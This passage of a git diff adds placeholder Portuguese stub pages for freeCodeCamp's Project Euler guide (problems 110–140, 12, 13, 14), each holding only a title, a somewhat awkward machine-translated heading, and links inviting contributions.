\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-110-diophantine-reciprocals-ii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-110-diophantine-reciprocals-ii/index.md
new file mode 100644
index 0000000000..14c2690a75
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-110-diophantine-reciprocals-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Diophantine Reciprocals II
+localeTitle: Recíprocos Diofantinos II
+---
+## Problema 110: Reciprocais Diofantinos II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-110-diophantine-reciprocals-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-111-primes-with-runs/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-111-primes-with-runs/index.md
new file mode 100644
index 0000000000..6f964f8ab6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-111-primes-with-runs/index.md
@@ -0,0 +1,9 @@
+---
+title: Primes with runs
+localeTitle: Primes com corridas
+---
+## Problema 111: Primes com corridas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-111-primes-with-runs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-112-bouncy-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-112-bouncy-numbers/index.md
new file mode 100644
index 0000000000..1a5fbb6e59
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-112-bouncy-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Bouncy numbers
+localeTitle: Números saltitantes
+---
+## Problema 112: números saltitantes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-112-bouncy-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-113-non-bouncy-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-113-non-bouncy-numbers/index.md
new file mode 100644
index 0000000000..c1fd62bbaf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-113-non-bouncy-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Non-bouncy numbers
+localeTitle: Números não saltitantes
+---
+## Problema 113: números não saltantes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-113-non-bouncy-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-114-counting-block-combinations-i/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-114-counting-block-combinations-i/index.md
new file mode 100644
index 0000000000..feabac7c51
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-114-counting-block-combinations-i/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting block combinations I
+localeTitle: Contando combinações de blocos I
+---
+## Problema 114: Contando Combinações de Blocos I
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-114-counting-block-combinations-i/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-115-counting-block-combinations-ii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-115-counting-block-combinations-ii/index.md
new file mode 100644
index 0000000000..7d2e6ea15b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-115-counting-block-combinations-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting block combinations II
+localeTitle: Contando combinações de blocos II
+---
+## Problema 115: Contando combinações de blocos II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-115-counting-block-combinations-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-116-red-green-or-blue-tiles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-116-red-green-or-blue-tiles/index.md
new file mode 100644
index 0000000000..d3e40cb777
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-116-red-green-or-blue-tiles/index.md
@@ -0,0 +1,9 @@
+---
+title: Red, green or blue tiles
+localeTitle: Azulejos vermelhos, verdes ou azuis
+---
+## Problema 116: Azulejos vermelhos, verdes ou azuis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-116-red-green-or-blue-tiles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-117-red-green-and-blue-tiles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-117-red-green-and-blue-tiles/index.md
new file mode 100644
index 0000000000..529347fbd3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-117-red-green-and-blue-tiles/index.md
@@ -0,0 +1,9 @@
+---
+title: Red, green, and blue tiles
+localeTitle: Azulejos vermelhos, verdes e azuis
+---
+## Problema 117: Telhas Vermelha, Verde e Azul
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-117-red-green-and-blue-tiles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-118-pandigital-prime-sets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-118-pandigital-prime-sets/index.md
new file mode 100644
index 0000000000..1c557dfa72
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-118-pandigital-prime-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Pandigital prime sets
+localeTitle: Conjuntos principais de Pandigital
+---
+## Problema 118: conjuntos primos Pandigital
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-118-pandigital-prime-sets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-119-digit-power-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-119-digit-power-sum/index.md
new file mode 100644
index 0000000000..f228c73419
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-119-digit-power-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit power sum
+localeTitle: Soma de poder de dígito
+---
+## Problema 119: soma de poder de dígito
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-119-digit-power-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-12-highly-divisible-triangular-number/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-12-highly-divisible-triangular-number/index.md
new file mode 100644
index 0000000000..000f433453
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-12-highly-divisible-triangular-number/index.md
@@ -0,0 +1,9 @@
+---
+title: Highly divisible triangular number
+localeTitle: Número triangular altamente divisível
+---
+## Problema 12: Número triangular altamente divisível
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-12-highly-divisible-triangular-number/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-120-square-remainders/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-120-square-remainders/index.md
new file mode 100644
index 0000000000..68f22a9f20
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-120-square-remainders/index.md
@@ -0,0 +1,9 @@
+---
+title: Square remainders
+localeTitle: Resíduos quadrados
+---
+## Problema 120: Restos Quadrados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-120-square-remainders/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-121-disc-game-prize-fund/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-121-disc-game-prize-fund/index.md
new file mode 100644
index 0000000000..8527c8cf20
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-121-disc-game-prize-fund/index.md
@@ -0,0 +1,9 @@
+---
+title: Disc game prize fund
+localeTitle: Fundo de prémio do jogo de disco
+---
+## Problema 121: Fundo de prêmio do jogo do disco
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-121-disc-game-prize-fund/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-122-efficient-exponentiation/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-122-efficient-exponentiation/index.md
new file mode 100644
index 0000000000..64f0ce1988
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-122-efficient-exponentiation/index.md
@@ -0,0 +1,9 @@
+---
+title: Efficient exponentiation
+localeTitle: Exponenciação eficiente
+---
+## Problema 122: Exponenciação eficiente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-122-efficient-exponentiation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-123-prime-square-remainders/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-123-prime-square-remainders/index.md
new file mode 100644
index 0000000000..c779ab582e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-123-prime-square-remainders/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime square remainders
+localeTitle: Resíduos quadrados principais
+---
+## Problema 123: Resíduos quadrados principais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-123-prime-square-remainders/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-124-ordered-radicals/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-124-ordered-radicals/index.md
new file mode 100644
index 0000000000..9d30e560af
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-124-ordered-radicals/index.md
@@ -0,0 +1,9 @@
+---
+title: Ordered radicals
+localeTitle: Radicais ordenados
+---
+## Problema 124: Radicais Ordenados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-124-ordered-radicals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-125-palindromic-sums/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-125-palindromic-sums/index.md
new file mode 100644
index 0000000000..7b27d85bec
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-125-palindromic-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Palindromic sums
+localeTitle: Somas palíndricas
+---
+## Problema 125: somas palindrômicos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-125-palindromic-sums/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-126-cuboid-layers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-126-cuboid-layers/index.md
new file mode 100644
index 0000000000..86e1ecc805
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-126-cuboid-layers/index.md
@@ -0,0 +1,9 @@
+---
+title: Cuboid layers
+localeTitle: Camadas cubóides
+---
+## Problema 126: Camadas Cubóides
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-126-cuboid-layers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-127-abc-hits/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-127-abc-hits/index.md
new file mode 100644
index 0000000000..f8d92e22fd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-127-abc-hits/index.md
@@ -0,0 +1,9 @@
+---
+title: abc-hits
+localeTitle: abc-hits
+---
+## Problema 127: abc-hits
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-127-abc-hits/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-128-hexagonal-tile-differences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-128-hexagonal-tile-differences/index.md
new file mode 100644
index 0000000000..5f401a2c0c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-128-hexagonal-tile-differences/index.md
@@ -0,0 +1,9 @@
+---
+title: Hexagonal tile differences
+localeTitle: Diferenças de ladrilhos hexagonais
+---
+## Problema 128: Diferenças de ladrilhos hexagonais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-128-hexagonal-tile-differences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-129-repunit-divisibility/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-129-repunit-divisibility/index.md
new file mode 100644
index 0000000000..74641b15e3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-129-repunit-divisibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Repunit divisibility
+localeTitle: Repartição da divisibilidade
+---
+## Problema 129: Repartição da divisibilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-129-repunit-divisibility/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-13-large-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-13-large-sum/index.md
new file mode 100644
index 0000000000..14a8dc3031
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-13-large-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Large sum
+localeTitle: Grande soma
+---
+## Problema 13: soma grande
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-13-large-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-130-composites-with-prime-repunit-property/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-130-composites-with-prime-repunit-property/index.md
new file mode 100644
index 0000000000..55891a4de8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-130-composites-with-prime-repunit-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Composites with prime repunit property
+localeTitle: Compósitos com propriedade de repunho principal
+---
+## Problema 130: Compostos com propriedade de repunho principal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-130-composites-with-prime-repunit-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md
new file mode 100644
index 0000000000..5e0739f1b5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime cube partnership
+localeTitle: Parceria cubo principal
+---
+## Problema 131: parceria de cubo principal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md
new file mode 100644
index 0000000000..fc2eb6d112
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md
@@ -0,0 +1,9 @@
+---
+title: Large repunit factors
+localeTitle: Grandes fatores repostos
+---
+## Problema 132: Grandes fatores repostos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md
new file mode 100644
index 0000000000..f5dbf63f72
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md
@@ -0,0 +1,9 @@
+---
+title: Repunit nonfactors
+localeTitle: Repetição não fatal
+---
+## Problema 133: Não Fatores Repunit
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md
new file mode 100644
index 0000000000..37636cfe83
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime pair connection
+localeTitle: Conexão do par principal
+---
+## Problema 134: Conexão do par principal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md
new file mode 100644
index 0000000000..c8768aa6fd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md
@@ -0,0 +1,9 @@
+---
+title: Same differences
+localeTitle: As mesmas diferenças
+---
+## Problema 135: as mesmas diferenças
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md
new file mode 100644
index 0000000000..c3b858f54c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md
@@ -0,0 +1,9 @@
+---
+title: Singleton difference
+localeTitle: Diferença singleton
+---
+## Problema 136: Diferença Singleton
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md
new file mode 100644
index 0000000000..f1c7d55cbc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci golden nuggets
+localeTitle: Pepitas de ouro de Fibonacci
+---
+## Problema 137: pepitas de ouro Fibonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md
new file mode 100644
index 0000000000..3f00b462d4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Special isosceles triangles
+localeTitle: Triângulos isósceles especiais
+---
+## Problema 138: Triângulos Isósceles Especiais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md
new file mode 100644
index 0000000000..53db1057e0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean tiles
+localeTitle: Telhas pitagóricas
+---
+## Problema 139: Telhas Pitagóricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md
new file mode 100644
index 0000000000..adcbca480b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Longest Collatz sequence
+localeTitle: Sequência mais longa de Collatz
+---
+## Problema 14: Maior Sequência Collatz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md
new file mode 100644
index 0000000000..a808a181c7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md
@@ -0,0 +1,9 @@
+---
+title: Modified Fibonacci golden nuggets
+localeTitle: Pepitas douradas de Fibonacci modificadas
+---
+## Problema 140: Pepitas de Fibonacci Modificadas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
